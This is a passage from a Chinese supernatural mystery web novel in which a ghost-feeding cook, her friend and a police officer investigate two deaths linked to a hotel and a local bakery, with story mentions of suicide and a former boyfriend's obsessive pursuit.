黎磊到世纪大酒店，一定是想调查清楚顾倩倩的死因，曾经让自己如此狂热着迷的女孩，在众人不知道的某个角落里无声无息地死去了，作为前男友的黎磊，一定不愿意接受这个现实，于是，他住进了这个酒店，住进了同一个房间。
三天后，他失踪了。
半个月后，他的尸体被发现出现在楼上的水箱里。
在黎磊失踪的前三天，他一定发现了什么。
顾倩倩的死因，绝对没有那么简单。
沈聆这么想着，她想起了自己在幻境中看见的那个红衣女人，她是一具骷髅，却一次次循环着被杀的噩梦，这个噩梦是困住她的地狱，她被迫在那个循环中被杀，遭受着难以想象的折磨，这一切一定不是偶然。
阴神以顾倩倩的噩梦作为基础，编造了幻境，说不定阴神背后的人，和顾倩倩的死亡有这千丝万缕的联系，否则阴神不会掌控着一个月以前在酒店自杀身亡的灵魂。
想到这，沈聆大概有了询问的方向。
她抬起头，看向了镜子里的黎磊：“黎磊，你不要担心，你的尸体已经被警方发现，警方已经开始调查你的死因，如果你愿意的话，可以告诉我……以及，如果你有什么未了的心愿，可以告诉我，我是阴厨，我能为你准备你想吃的东西。”
听到这里，黎磊大概明白了沈聆的意思。
他微微低下头，沉思了许久之后，开口说道：“桃花酥，人民东路54号，月酥堂的桃花酥。”
“好，放心吧，我会为你准备好的……”
沈聆和阴魂对话的次数有限，只能暂时记下了黎磊想要的东西。
黎磊也没有多做停留，他像是听到了冥冥之中某个声音的召唤，身体逐渐变得半透明，最后，如同一缕青烟一样，消失了。
在黎磊消失之后，香也燃尽了，黄泉路关闭，一切逐渐回到了最初的模样。
漆黑一片的天台，寂静的环境，凄冷的夜风，以及沉默的沈聆。
为了不留下痕迹，沈聆打扫干净了自己留下的东西，将香炉、镜子、灯放回了书包里，并回到了宋明夷身边。
宋明夷一脸期待地看着沈聆：“他说什么了吗？”
在宋明夷的角度来看，他看到沈聆背后出现过一个类似魂魄的东西，但她看不太清楚那东西的模样，也听不见黎磊的声音，她肉眼凡胎，只能看到一个模糊的影子一闪而过。
不敢发声的宋明夷，等沈聆的事情结束之后，忙好奇地凑上前。
“嗯，他说了自己想吃的东西，我明天就去准备。”
“是什么啊？”
“桃花酥，人民东路54号，月酥堂的桃花酥。”
“哦？”宋明夷转了转眼睛，“说到这个，有一段时间这个月酥堂还挺有名的，当时周围的年轻小姑娘都很喜欢去买，我看到好几拨朋友圈集赞凑满减的活动。”
“那这个月酥堂……你知道有什么背景吗？”
“小聆聆，你是怀疑，月酥堂和黎磊的死因有关？”
“不止，我甚至怀疑顾倩倩的死也和这家月酥堂有关系，黎磊不会无缘无故给我这个店名，或许要等我们明天去调查了才能知道。”
两个女孩说着，一同走向了楼梯间。
两人一前一后地从楼梯走下，楼梯间绿色的“安全通道”标志灯照亮了她们的身子，将她们的影子拉长，整个楼梯间里十分冷清，两个女孩子的脚步声是这个楼梯间里唯一的动静，听起来十分孤寂。
宋明夷感觉到有种莫名的冷风从身后吹来，她不由得打了个冷颤：“嘶……但是，顾倩倩不是在1808号房割腕自杀的吗？”
“那只是表面。”
“你的意思是……是他杀？”
“不，我也不确定，但是，如果是有人逼她自杀呢？虽然表面看起来是他杀……明夷，你还记得我跟你说过的那个幻境吗？在幻境里，我看到了一个红衣女人，还有……一个叫顾健的男人，那个男人脸上有一道伤疤，而且每一次红衣女人开门的时候，他都想杀她。”
“这倒是新奇了啊，这个酒店姓顾的还挺多的，那个经理我记得也姓顾……你是怀疑红衣女人就是顾倩倩？”
沈聆停下脚步，回头看着站在上一级台阶的宋明夷：“明夷，你能找到顾倩倩的照片吗？”
宋明夷拍了拍胸膛：“这倒是不难，只要是使用过互联网，曾经在互联网上传过自己照片的人，我都能找到。”
……
宋明夷并不是说大话，在互联网冲浪这一方面，她确实颇有建树。
沈聆也不知道她用了什么方法，只是看宋明夷在笔记本电脑上打开了几个软件，随后输入了类似代码一样的东西，这东西自然而然地开始筛选不同的网站页面。
“行啊，看不出你还真
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有两把刷子诶。”
“那是，我可是博主好吗？没有两把刷子，怎么吃互联网这碗饭？”
“那你为什么不去考计算机专业？我感觉你很适合这个专业。”
“唉，当时不是为了活下去吗？觉得学护理学，至少有护士这么一个铁饭碗，人都难免生老病死，每个县区都有医院，学计算机可能会失业，但学护理学，至少能保证我不饿死。”
“你一直都是一个人住吗？”
“嗯，我和家里决裂之后，就一个人住在外面，白天上学，晚上勤工俭学，赚的钱倒也是够交我的学费。”
宋明夷说这些话的时候，语气倒是十分平静。
但这样的平静，更像是一种无奈和麻木。
沈聆看见电脑屏幕上闪过许多人的博客主页、□□空间页面等，这些页面大部分都是个人信息的页面，沈聆看见那一张张照片从眼前闪过，最后，画面定格在了一个年轻女孩的照片上。
“找到了！”
宋明夷敲了一下键盘，画面定格在照片中女孩明媚的笑容中。
这页面是个人微博主页面，在页面中，po出了许多张女孩的个人照，女孩的微博名称叫“倩倩不欠钱”，在个人介绍那一栏写着：记录生活，不被定义，我很我。
“这应该就是顾倩倩的个人微博。”
“她看起来好年轻。”
“嗯，看起来像是我们陵川一中的学生。”
宋明夷点击了几下鼠标，简单浏览了一下微博内容，发现最新的微博更新时间，已经是一年前了。
她点开了顾倩倩最新的照片，从照片看来，那是一个看起来只有二十岁出头的小姑娘，她穿着陵川一中的校服，站在路口自拍，自拍的镜头打开了相机的美颜功能，给她添加了俏皮的猫耳朵。
宋明夷点了几下鼠标，放大了这张照片。
沈聆看见，在照片的右后方，路口的转角处，有一间相对老旧的店铺，店铺的木质牌匾上写着三个字——月酥堂。
沈聆和宋明夷交换了一个眼神。
“看来，这家月酥堂，我们得去调查一下了。”
“嗯，我来看看……”
宋明夷又敲了几下键盘，她调取出了网上和月酥堂有关的宣传报道。
“这家月酥堂可以算是老店了，1990年开店，主打的是传统类手工点心，此外，近两年为了迎合年轻人的口味，推出了许多特色小甜品，如脏脏包、千层卷等，这些甜品价格实惠，口感丰富，倒是在年轻人之中引起过一阵潮流……”
官方的介绍，总是那么生硬。
一句话总结就是……这家店在老店的基础上，推出了新产品，在多种受众群体中都十分受欢迎。
而顾倩倩，就是曾经月酥堂的忠实粉丝。
沈聆看着顾倩倩的微博页面，曾经多次连更的内容都是甜品，在那些更新的内容之中，她晒出了自己和甜品的合照，以及吃完甜品后的心情，只是当时满心欢喜的她一定没想到，自己在一年后，已经死了……
206. 舔狗的悲哀
陵川市公安局围绕世纪大酒店水箱里发现的尸体，开展了细致周密的调查。
林凌用了一天时间，走访职业技术学院的老师同学，终于弄清楚了黎磊和顾倩倩那段往事。
经调查后发现，黎磊在职业技术学校上学时，确实和顾倩倩曾经是男女同学的关系。
这一点，当时同一年级的同学以及任课老师都可以证明。
当年，那段感情，在职业技术学院里可谓是“轰轰烈烈”。
黎磊是个长相平平的男人，而顾倩倩却是一副清纯明媚的，那双水汪汪的大眼睛任何男人看了都会心生恋爱。
根据黎磊舍友的口供，黎磊对顾倩倩那是一见钟情，自从在路上看到了梧桐树下走过的那个女生，他的心就被拴住了，像中了邪、着了魔一样，茶不思、饭不想，一整天脑海中只有三个字——顾倩倩。
当时黎磊追顾倩倩的时候，十分狂热，每天都在顾倩倩楼下等着和顾倩倩一起上学，只要是顾倩倩想要的东西，黎磊都第一时间买到，哪怕是钱不够，都会借钱来买。
按照舍友的描述，从那以后，只要是黎磊有空，就会在顾倩倩的教室外等着她放学。
他就像是一只……自认为深情的小狗，每天在教室门口等着“主人”回家。
刚开始，作为外貌协会的顾倩倩，对黎磊表示过明确拒绝，毕竟黎磊的长相太普通，也没有闪光点，家世背景也不好，没有任何一点符合顾倩倩对男友的要求。
时间一长，架不住黎磊软磨硬泡，加上她确实很享受被男人伺候得舒舒服服的小公主的感觉，便答应了和他交往。
这一交往，便是两年。
在两年中，黎磊做到了他承诺的那样，顾倩倩就是他生活的中心。
为了满足顾倩倩的消费需求，他总是省吃俭用，靠着当游戏代练、暑假工、寒假工、奶茶店服务员等，赚取额外收入，自己总是吃馒头蘸老干妈或是吃拼好饭，体重一年之内下降了二十斤，瘦成了一把骨头，一年到头也舍不得给自己买一件衣服。
因为吃不好、穿不暖，黎磊的身体情况下降了很多。
他容易生病，并且变得多梦易醒，精神状态也总是浑浑噩噩，可只要谈到顾倩倩，他总是能两眼放光，列举出自己女朋友的许多好处来，似乎顾倩倩就是他的精神源泉。
与此相反的是，自从答应和黎磊交往之后，顾倩倩的生活开始变得多姿多彩了。
和黎磊交往之后，顾倩倩的生活资金、娱乐资金一下子充裕了许多，她不仅买了许多名牌包包和化妆品，隔三差五地和朋友们出去旅游，更是在多种网友中豪掷千金，把自己包装成了网络小公主，日子过得有声有色。
她喜欢在朋友圈、微博、□□空间晒出自己的生活日常，在朋友们的印象中，她是一个衣食无忧的小公主，每天睁开眼睛就是网购、打游戏、看旅游攻略，只有在这些活动的空隙中，才会抽出时间回一两句黎磊的信息。
而对于黎磊，顾倩倩的态度总是若即若离。
她不喜欢和黎磊有任何接触，但却很享受黎磊对自己付出真心的感觉，在顾倩倩面前，黎磊就是一条呼之则来挥之则去的小舔狗，只要顾倩倩不想看到他，便绝对不能出现在顾倩倩面前，甚至是游戏里，都不允许绑CP，因为顾倩倩要和其他男大绑情侣，而正牌男友黎磊只能在列表里看到顾倩倩和他们玩游戏的状态。
他也提出过不满，但是每次他提出不悦的时候，顾倩倩总是以分手为威胁，一旦提到分手的事情，黎磊就会服软、讨好，哄顾倩倩开心。
因为他知道，这个女孩子，是真的会离开。
并且他也隐隐约约感觉到，随着交往时间越长，顾倩倩对自己的态度就越是不耐烦，似乎不愿意花更多的时间浪费在自己身上，偶尔一条简单的短信，也要等一天才有回复。
可他没有办法。
只能尽量体现出自己对于顾倩倩还有“利用价值”，至少，自己提供的金钱，能维持顾倩倩的高额花销，只要自己仍旧是有价值的，那么对方就不会和自己分手。
他只想保住“顾倩倩男友”的身份，这已经成了一种执念。
他像是一个走在悬崖边的男人，每天都在担心今天顾倩倩会不会又以任何一件小事和自己吵架，从而提出“分手”。
这是他的死穴，也是他的软肋，只要提到这两个字，黎磊就会退却，转更多的红包哄顾倩倩开心，结束吵架的话题。
偶然，顾倩倩的朋友也看不下黎磊舔狗的模样，也劝顾倩倩对黎磊好一点，但顾倩倩对此却并不放在心上。
她认为，自己已经满足了黎磊和自己交往的愿望，那么黎磊就有义务满足自己生活中的一切需要。
她的开支很大，黎磊不得不做好几份兼职，才能满足顾倩倩的金钱需求。
对此，他认为这是身为男朋友自己应该做的事情，对于顾倩倩的要求，他总是有求必应。
他将自己卑微到了尘埃里，似乎只有这样，才能尽可能引起顾倩倩的注意。
只有这样，他才能证明自己对她那全心全意的感情。
自然了，提多了“分手”，便真的“分”了。
听说两人分手的原因，是顾倩倩出轨了。
因为一次次试探黎磊的底线后，发现黎磊对自己无条件包容，顾倩倩便更加肆无忌惮。
她甚至开始骑驴找马，在和黎磊交往期间，也和许多男人暧昧过。
终于有一次，被黎磊捉奸在床。
当顾倩倩和另一个男人衣衫不整地躺在被子里时，当黎磊看见其他男人做了连自己都没做过的事情时，他终于意识到，无论自己多卑微，顾倩倩都不会喜欢自己。
那一次出轨，成了两人分手的原因。
自然，两人分手后，黎磊痛苦了很长一段时间，舍友说，黎磊甚至出现过自残、轻生的举动，他看了心理医生，舍友也一直在劝他放下那个女人，毕竟，天涯何处
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无芳草，男人不能再一棵树上吊死，尤其，还是一棵歪脖子树。
只不过，这些话从他人口中说出，仍然是“隔靴搔痒”。
分手没有一个月，黎磊又重新开始追求顾倩倩。
他尝试挽回顾倩倩，并频繁出现在顾倩倩宿舍楼下，甚至找到了顾倩倩的老家，每天都给顾倩倩打十几个电话，频繁短信轰炸，对顾倩倩表白自己的真心，以及对上次分手的懊悔。
只不过，在男人看来的“真心”，对女孩子却是一种骚扰。
忍无可忍之后，顾倩倩换掉了自己的手机电话，拉黑了黎磊所有联系方式，并毅然决然地离开了这里，去了一个没有人认识自己的地方。
她想的很明白。
黎磊是一个偏激的人，自己不能继续和这个男人纠缠，否则对自己来说也是一个隐患。
而这之后，老师和同学们也没有了两人的消息。
再一次听到这个名字的时候，就是林凌打电话给他们的时候了。
因为当时这件事情实在颠覆三观，因此职业技术学校里还流传着超级大舔狗黎磊的故事，警示后来人，爱人先爱己，择人先问心。
林凌在了解到这一切后，沉默了许久。
他做完所有笔录之后，联系到了黎磊的家人。
黎磊家境贫穷，只有一个在外地打工的妈妈，黎磊本就不爱跟家里人联系，逢年过节才会给妈妈打个电话，这半个月来，黎磊没有给妈妈发过任何消息，妈妈还以为黎磊已经找到了新工作，没想到等来的却是儿子的死讯。
黎磊妈妈哭了很久，最后，她想起了儿子最后一通电话中跟自己说过的话。
她说，黎磊当时辞掉了工作，要去一个叫陵川市的地方。
黎磊的妈妈不知道陵川市在哪里，也不知道儿子要去多久，她只知道儿子说那个地方有他很重要的人，至于是谁，她也不知道。
其实，这几年，关于儿子在学校的传闻，她多少也有听过几句风言风语，可她都当做是儿子年轻气盛、一时糊涂，毕竟儿子从来没有开口跟自己要过钱，对儿子的事情，她也就放任自由。
毕竟，儿子要放养，他已经有了在外谋生的能力，已经成年的儿子，自然也不需要母亲太过操心。
没想到，一通电话，竟然成了母子最后的电话。
“他说，他这次要去找一个人，如果顺利的话，今年年底就能带回家来给我看看。”
“我估摸着，那可能是他很喜欢的女孩子，他说他找到她了，这一次绝对不会分手。”
“我也不知道那孩子是怎么想的，只是那一次，电话里他的声音很开心，我已经很久没有听到他那么开心的声音了。”
“这一年来，他一直郁郁寡欢，甚至还用刀割过自己，我一直很担心他，觉得这孩子……从小没父亲，看事情也比较偏激。”
“警官，他最后是开心着走的吗？”
“如果是的话，就好了，唉……”
207. 欠缺的监控片段
在林凌回到世纪大酒店的时候，已经是深夜了。
世纪大酒店的大厅金碧辉煌，哪怕是到了晚上，这里依旧亮如白昼。
酒店的客厅只有几个服务人员在前台待命，外面的停车场里已经没有几辆车了，整个酒店看起来十分冷清，像是经济危机下的服务行业，总是在每一寸空气中充斥着寂寞。
林凌原有一些需要核实的东西请教顾经理，但顾经理这几天吩咐了不见外人，于是酒店方安排了侍从小赵接待林警官。
“林警官，您有什么需要，可以跟我说，顾经理已经交代我了，全力配合警方的调查工作。”
小赵平静地看着林凌，他看起来只有二十出头，但是说话的语气十分老成得体。
他穿着笔挺的西装，瘦削的身体套在了黑色笔挺的西装里，领口的黑色领带紧得有点拘束，一张脸仿佛没有血色一样，当他的视线落在他人身上的时候，总是无法聚焦一样地轻飘飘的感觉，那双眼睛像是没有任何情绪波动的深渊。
“……行吧，你带我去看看监控摄像，我要看顾倩倩相关的录像。”
“您不是在调查黎磊的事情吗？”
“不能只调查黎磊，我们目前怀疑，黎磊的死，跟顾倩倩有关，带我去你们的监控处，我要调取顾倩倩入住时的监控画面。”林凌说着，看向了远处的保安，以及保安头上的监控摄像头，“你们这里的监控应该是一个月自动覆盖一次，顾倩倩是不到一个月前死的，她入住监控应该也还在，带我去看看。”
“好。”
侍从小赵带着林凌来到了监控室。
监控室这几日不断有警员出入，他们对此早已经见怪不怪。
见小赵来了，几个原先坐在椅子上抽烟的保安大叔起身说道：“赵哥。”
“嗯，这位林警官要来看看1808号房住户的相关录像，就是在卫生间里割腕自杀的那个女孩子，你们应该都记得吧？把相关视频拷贝一份给这位警官。”
小赵明明比他们看起来小三十多岁，但是说话却十分老道，这几个看起来偷懒耍滑的老滑头，却对他很恭敬。
林凌心里暗自奇怪着，却也只是在心里存了个念想：“算了，没事，不用拷贝了，你们这里不是这么多电脑吗？给我一台，我直接你在这里看就好了。”
闻言，小赵看向了林警官：“您不回去休息吗？”
“不了，破案要紧，案子一天不破，我也睡不好，不如干点实事。”
“林警官真是人民的好警察。”
“您过奖了。”
“或者……我让前台给您开一间VIP包厢，再给您送一台笔记本电脑上去，我们把录像拷贝在电脑里，您在单独的包厢里也比较好办公。”
“但是……”
“林警官，您看，我们这里的保安也都是要干活的，您在这里，他们也不是很方便，毕竟这里的监控画面覆盖着我们全酒店的所有角落，有些画面，毕竟不是办案需要的，可能涉及到客人的隐私，我们也不愿对酒店工作人员以外的人展示，请您谅解。”小赵不急不慢地说，“另外，因为最近退房的客人很多，我们的房间也不紧张，您不用担心。”
林凌环视了一圈，感觉小赵说的似乎的确有几分道理。
这里是保安的工作室，他们日常有自己的行为模式，突然多了一个警察在这里办公，大概对所有人都不自在。
在监控室的大屏幕上，有上百个监控摄像头的分画面，如果严格说起来，的确属于客人的隐私，这些监控没有涉及到办案内容，自己在这里待一晚上确实说不过去。
这么想着，林凌点了点头：“那行吧，你帮我拷贝到笔记本里，不过也不用给我开什么房间里，我们工作纪律不允许，我就在餐厅的包间里看吧，看完我自己拿回来。”
“好的。”
小赵礼貌地点头，微微上扬嘴角，露出几分笑意。
……
小赵的动作很快，林凌去厕所洗了把脸的功夫，他已经把准备好的笔记本电脑送到了餐厅的天字号包间。
现在已经是晚上十二点了，酒店里餐厅的夜宵时间也已经过去，只有三三两两的保洁人员还在拖地。
林凌回到了包间的时候，正看到微笑着看着自己的小赵。
“您好，林警官，您要的监控画面，我们已经整理好了，就放在包间里面的电脑上。”
“好的，麻烦你了。”
“不会，您不用跟我客气，顾经理说要大力配合警方的工作，您有任何吩咐，可以打我们前台的服务电话，前台会转接电话给我，我24小时在线。”
他说话的语调没有任何情绪的起伏，就像是一个24小时在线的机器人。
为这个酒店服务。
为顾经理服务。
林警官的视线擦过小赵的肩膀，看到包间的圆桌上放着一台笔记本电脑，小赵还贴心地让服务员上了提神的茶水，以免长夜漫漫，林警官一个人看监控太无聊。
“……小赵，你还真是一个细心的人。”
“您过奖了。”
“你几岁啊？看着这么年轻，感觉工作已经很老道了，我看这酒店里的其他人都很尊敬你。”
“我今年二十一岁。”小赵继续保持着礼貌的微笑，“承蒙不弃，是酒店里的各位同胞照顾我，配合我的工作，我只是做好自己的本职工作而已。”
“你们顾经理，这几天都没出来见人吗？”林凌倒是对顾经理产生了几分好奇。
“是的，顾经理在自己的办公室办公。”
“他……是在处理什么事情吗？我看这几天的调查工作都是你来配合我们。”
“这个我就不知道了，毕竟，我只是服务员，没有权限过问顾经理的事情。”
“你们这个酒店……顾经理是最高管理员？”
“可以这么说，顾经理要负责酒店日常的运转，另外，每季度都要向集团汇报酒店的经营情况，偶尔董事会也会来视察酒店经营情况，我们就要做好接待。”
“集团？酒店背后是什么集团？”
“是梁氏集团。”
“还真是，他们梁家还真是家大业大啊。”林凌感叹。
像他们这样辛辛苦苦干活的人，一个月拿到手的工资，或许还不如梁家一分钟的收入。
这个世界就是这样。<
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贫富差距是绝对存在的。
有钱的人越来越有钱，没钱的人也越来越穷。
阶级的固化，让社会上的生存压力越来越大，每个人都只能拼尽了全力，才能一点一点实现想要的生活。
小赵礼貌地看着林凌，没有说话，他脸上依旧带着客气而疏离的微笑，对于梁氏集团的事情，他不置可否，但也没有透露太多的信息。
林凌也明白了小赵只是一个打工人，有自己的难处，他只是随口打探一些酒店的信息，希望对案情有用。
“行，我明白了，你先去休息吧，如果有需要，我会联系你的。”
“好。”
小赵点了点头，轻轻鞠躬后，转身离去。
在走了几步之后，他停下脚步，回过头看向了林凌。
“怎么了？”
林凌站在原地，疑惑地看着小赵。
“林警官，请您注意人身安全。”
“什么？”林凌讶异。
小赵没有再解释什么，转身离去，只留下一脸疑惑的林凌依旧站在原地。
走廊里的风凉飕飕的，带着丝丝寒意，仿佛能穿透人的皮肤，直抵骨髓，中央空调的出风口正对着他的头顶，源源不断地吹出冷风，那股寒气就像一条冰冷的蛇，顺着他的脊梁缓缓爬行，让他不禁打了个寒颤。
他的身体微微颤抖着，那股寒气似乎已经渗透进了他的每一个细胞，让他感到一种难以言喻的寒冷，他的脸颊被风吹得有些刺痛，几缕发丝也在风中轻轻飘动，仿佛在向他诉说着这股寒意的侵袭。
他现在感觉到了那莫名的凉意，不由得回头环顾了一圈，像是有某一双眼睛藏在角落紧盯着他的一举一动，但是在他细细看去，却又看不见任何东西。
挠了挠头，林凌转身走进了包间，关上了包间的门。
他在圆桌前坐下，在笔记本电脑的桌面上，放着一个文件夹，文件夹里便是过去这一个月以来关于顾倩倩的监控记录。
监控记录已经按照时间分好了，点进去后，可以看到每一条都有走廊、大厅、花园的监控片段。
他开始从头到尾了解这个已经死去的女人。
顾倩倩的行程很简单，每天晚上近乎九点的时候才会离开酒店，一直到凌晨才回来。
白天她总是躲在自己的房间里，昼伏夜出，关于她的监控画面也并不多，大部分时间她都低着头玩手机从镜头前走过。
看着监控画面里那个女人的背影，原先，通过人员走访，顾倩倩在他心里只是一个模糊地影子，现在，在看了那个监控画面后，这个影子逐渐清晰化、具象化，他看着监控画面里的那个女人，脑海中回想起了她心安理得“吸血”黎磊的事迹，看着监控画面中那个浓妆艳抹的女人，林凌不由得替黎磊惋惜。
这个女人，真的值得他付出这样的真心吗？
随着进度条的拉动，突然，林凌发现，酒店提供的监控画面，缺了一部分。
2月14日，情人节那一天，监控画面里，只有顾倩倩晚上出门的画面，却没有她回来的画面。
这一天，她去哪里了？
为什么没有回来？
208. 月酥堂老板
清晨，太阳刚刚升起，它的光芒如同金色的纱幔一般，轻轻地洒落在街道上，街道两旁的建筑物被阳光染成了金黄色，与青灰色的地面形成了鲜明的对比。
阳光透过树叶的缝隙，形成了一片片斑驳的光影，仿佛是大自然用画笔在地面上描绘出的美丽图案，这些光影随着微风的吹拂而摇曳，给人一种如梦似幻的感觉。
街道上的行人渐渐多了起来，他们沐浴在这温暖的阳光中，脸上洋溢着幸福的笑容，孩子们在街道上奔跑嬉戏，笑声和阳光交织在一起，构成了一幅充满生机和活力的画面。
沈聆和宋明夷乘坐最早一班公交车，来到了月酥堂附近的地铁站。
刚下车，便看到月酥堂前已经排了六七个人的队伍，这些人在等着月酥堂开门，买今天最早的一波手作甜点。
“好厉害，还没开门就已经有人排队了。”
沈聆看着那排队的人，不由得感叹。
她第一次见识到了吃货的力量，为了吃到想吃的东西，有心的人哪怕是五六点起床也会赶上最早的一班公交，准时出现在甜品店外。
宋明夷低着头，正在看某App上关于月酥堂的攻略。
她浏览了在某App上，有许多帖子是关于月酥堂的介绍，里面大部分是爱吃甜品的攻略测评，月酥堂算是本地相对有名的甜品店，许多到陵川市旅游的人也会到这家店打卡、购买特产。
月酥堂除了有传统甜品之外，每天刚开门的时候，前二十名客人还能免费获得当天新作的甜甜圈，这也是为什么一大早就有人在月酥堂前面排队的原因。
那些排队的客人大部分都是二十出头的年轻人，他们等在月酥堂门口，在月酥堂开门前，在门口拍照打卡。
宋明夷和沈聆排队跟在了那些等待开门的人后面。
宋明夷手机打开了甜品清单，递给了沈聆。
“小聆聆你看，这是月酥堂最近推出的抹茶马卡龙和曲奇系列，我们之前看到的顾倩倩主页上打卡的是一年前的热品——芒果毛巾卷，不过，月酥堂现在已经没有卖毛巾卷了。”
“不知道店家会不会对顾倩倩有印象呢？”
“不好说，但是我粗略统计了一下，顾倩倩有十五个微博内容都是关于月酥堂的，可以说那段时间她是月酥堂的忠实粉丝了，如果是这种狂热程度的顾客，可能甜品店会有一定的印象吧。”
“黎磊说到了桃花酥……那个桃花酥现在还有在卖吗？”
“我看看哦……”宋明夷点开了小程序，在小程序的清单上，却没有看到桃花酥。
她查了一下，桃花酥在半年前已经停止生产了，或许是这种甜品已经跟不上现在年轻人的胃口，随着购买量的下降，店家也下架了这类甜品。
宋明夷抬起头看向了沈聆：“现在好像已经没有卖了。”
沈聆皱眉：“这样……这可不好办，既然已经接受了嘱托，就一定要弄到他们要的食物，这是我的职业素养。”
“我们问看看店家能不能做吧，如果可以的话，我们多加点钱，请他们做一份。”
“只能这样试试看了。”
在二人说话间，月酥堂开门了。
一个围着白色围裙的大婶拉开了店铺的卷帘门，一直等待在店门口的年轻人们见状忙涌了上去。
沈聆和宋明夷跟着人潮走进了商店。
月酥堂位于街道的转角，店铺的陈设稍显陈旧，木质柜子、木质地板，散发着几分古色古香的味道，推开门时，铜铃轻响的余韵里，暖黄光晕已裹着香草奶油的气息涌来。
在一排排木质柜子上，分门别类地放着各种甜点，在入门的地方有托盘和夹子，顾客可以在入门时便拿到一个托盘和夹子，将喜欢的甜品放在托盘上，最后去前台结算。
可颂、甜甜圈、马卡龙、贝果……
各类精致的甜品放在木质柜子上，隔着透明的玻璃，在暖黄色的灯光下看起来令人垂涎欲滴，月酥堂的每种甜品都做了不同口味，造型可爱，并且分量不会很大，恰好迎合了年轻女孩爱吃甜品，但又不想吃太多甜品的心理。
在甜品店的左侧，有一个透明橱窗的房间，房间里，带着白色帽子的工作人员正在烤面包、上奶油，那面包甜甜的味道让不由得感觉到身心放松。
沈聆和宋明夷浏览了一圈，拿了几个甜甜圈后，来到了前台。
柜台前是一个漂亮可爱的小姐姐，她围着库洛米围裙，热情地接待二人。
“您好，一共是52元，请问您是微信还是支付宝？”
“好，微信支付。”宋明夷拿出了自己的手机，一咬牙还是打开了微信支付的二维码。
她忍不住在内心吐槽，明明只有几个小小的甜甜圈，加起来居然五十多块钱。
月酥堂的品牌溢价还是太严重了。
一旦被冠上热门店的牌子，里面卖的东西，可以说价格一下子变便翻倍了上去。
“我扫您。”
“滴——”
清脆的声音之后，宋明夷痛失52元人民币，在她心里默默流泪，想着自己一定要认真吃掉这几个甜甜圈，不对，在吃之前要拍照打卡留念，让这52元花得有价值。
站在旁边的沈聆趁机问到：“对了，小姐姐，你们家的桃花酥，现在还有在做吗？我有个朋友，他很爱吃你们家的桃花酥，想着让我来问一问你们。”
“桃花酥？”收银员小姐姐一笑，“不好意思，我们已经没有做了。”
宋明夷追问：“为什么呀？我看你们之前桃花酥的销售情况还不错呀，甚至有时候在销售榜前三，为什么没做了？”
收银员小姐姐面带为难地回答：“这个……我也不太清楚，只是某一天，店长突然叫烘焙厨房不要再做这一款甜点了。”
“有钱不赚，是傻子吗？”
“这个我也不清楚，但是我听到了他和副店长说话的时候，提到了桃花酥的事情……好像有一个很重要的客人，那个客人不知道因为什么原因，不再来买桃花酥了，店长也因此不想再继续卖这个点心。”
“原来如此……”
“但是……”
宋明夷还想追问，但沈聆拉了拉她的袖子，摇了摇头，宋明夷识趣地没有追问。
在离开前，沈聆低声对收银员小姐姐说道：“其实
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呢，我认识你们店长说的那个很重要的客人，她以前很喜欢吃你们店的桃花酥，但是因为一些原因，现在不能来了，如果可以的话，请帮我转告你们店长，请店长多保重自己的身体，我那个朋友……也会在远方为他祝福的。”
说完，沈聆拉着宋明夷离开了。
宋明夷一脸疑惑地跟在沈聆后面，不知道沈聆葫芦里卖的是什么药。
两人一直走过了两个街角，才停下脚步，站在天桥上，迎面吹着清冷的风，呼啸而过的车流从天桥下穿过，宋明夷打开包装袋，她和沈聆一人拿了一个甜甜圈吃了起来。
“小聆聆，刚才你那是什么意思啊？”
“店长说的‘很重要的客人’，我怀疑就是顾倩倩。”
宋明夷眨了眨眼：“啊？但是你刚才不是在胡诌吗？”
“是啊，我是在胡诌啊，但是同样也是为了让店长知道，我没有恶意。”
“嗯？恶意？”
“嗯，你没注意到吗？自从我们进店之后，有一个白胡子老爷爷，一直在柜台前看着所有人，柜台是靠近门口的地方，我不知道他在看什么，但是我发现，每一个进店的人，他都会看一眼，那种感觉……就好像他在等着某个客人上门。”
“你是说……那个白胡子老头就是月酥堂的老板？”
“有这个可能，毕竟做餐饮的，要么是在后厨忙碌，要么是在前台服务，而那个老爷爷，什么都不做，只是站在角落观察其他人，他没有被苛责，应该是因为他的身份是店长或是副店长，至于他为什么这么做……”沈聆停顿了一下，“我发现当我问出‘桃花酥’这三个字的时候，他站在旁边，眼神动了一下，看向了我们，他虽然没有说话，但我们的对话，他全都听到了”
宋明夷似懂非懂地点了点头：“原来如此，所以你假装自己认识那个客人，就是为了……”
话音未落，宋明夷看见在天桥的另一侧，一个白胡子老爷爷正走了过来，他的目光在看到沈聆和宋明夷的时候，明显一亮，随后加快了脚步。
宋明夷用手肘捅了捅沈聆：“看来，你的‘鱼’上钩了。”
沈聆回过头，恰好那老爷爷走到了她身边。
“您是……”
“您好，我是月酥堂的老板，我姓唐，叫唐化成，请问……二位是不是认识一位叫顾倩倩的小姑娘？”
沈聆和宋明夷对视了一眼。
沈聆点头说道：“对，我们认识她。”
“那……不知道她现在在哪里？现在是否安好？我已经很久没有见过她了。在很久之前，她突然跟我说，她不能再来月酥堂买桃花酥了，我不知道她出了什么事，她没有跟我说，只是那天她走得很匆忙，我挺担心她的。”
沈聆遗憾地说：“这个嘛……顾倩倩她去了一个很远的地方，暂时没有办法回来了，只是我们知道她生前很爱吃月酥堂的点心，并且，我们也想买一些桃花酥，算是……帮她完成一点心愿。”
听到这里，老板脸色一沉：“您的措辞有点奇怪，难道说……”
“嗯，她已经死了，一个月之前，在世界大酒店的卫生间里割腕自杀。”
209. 红色敞篷车
月酥堂的老板请他们到隔壁的茶馆。
这家茶馆在小巷子里，日常来喝茶的人并不多，给了他们聊天的机会。
茶馆的老板和月酥堂的老爷爷似乎是熟客，不需要打招呼，茶馆的服务员便给他们上了一壶铁观音。
说起过去的事情，月酥堂的老爷爷叹了口气。
“我第一次见到顾倩倩的那天，我一直记得是个阴雨天。”
他说着，看向了窗外。
越过那木质窗框，他看着户外的天空，那逐渐阴沉的天气，恰如他遇到她的那一天。
“我从父母手里接手了月酥堂的时候，这家店并不像现在这样有这么好的生意，当时我们主打的都是一些廉价的传统点心，那些点心放在现在，并不受年轻人的欢迎，因此月酥堂的生意一直都是一个问题。”
老爷爷的声音沙哑着，就像是古老的水车，咿咿呀呀地运转着，带着岁月的重量，诉说着过去的事情。
“在那时，我就想着，开始投资其他行业。”
“我将月酥堂交出去抵押出去，并用贷款到了一笔钱，投资了某个建筑公司，我认为建筑业，是实体行业，实体经济，如果投资建筑业，应该不至于出现泡沫经济一样崩坏的情况。”
“只是没想到，我第一次投资，就遇到了骗子。”
